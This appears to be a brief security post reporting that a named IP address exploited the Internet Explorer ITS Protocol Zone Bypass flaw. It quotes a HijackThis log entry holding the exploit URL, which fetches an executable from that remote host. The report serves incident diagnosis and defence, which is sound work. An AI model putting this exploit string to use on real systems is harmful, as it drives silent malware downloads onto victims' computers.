69.50.161.126 seems to have been exploiting the Microsoft Internet Explorer ITS Protocol Zone Bypass Vulnerability, based on the following Hijackthis log entry:
O16 - DPF: {14A3221B-1678-1982-A355-7263B1281987} - ms-its:mhtml:file://C:tsk.mht!http://69.50.161.126/webace/s1//q.chm::/file.exe
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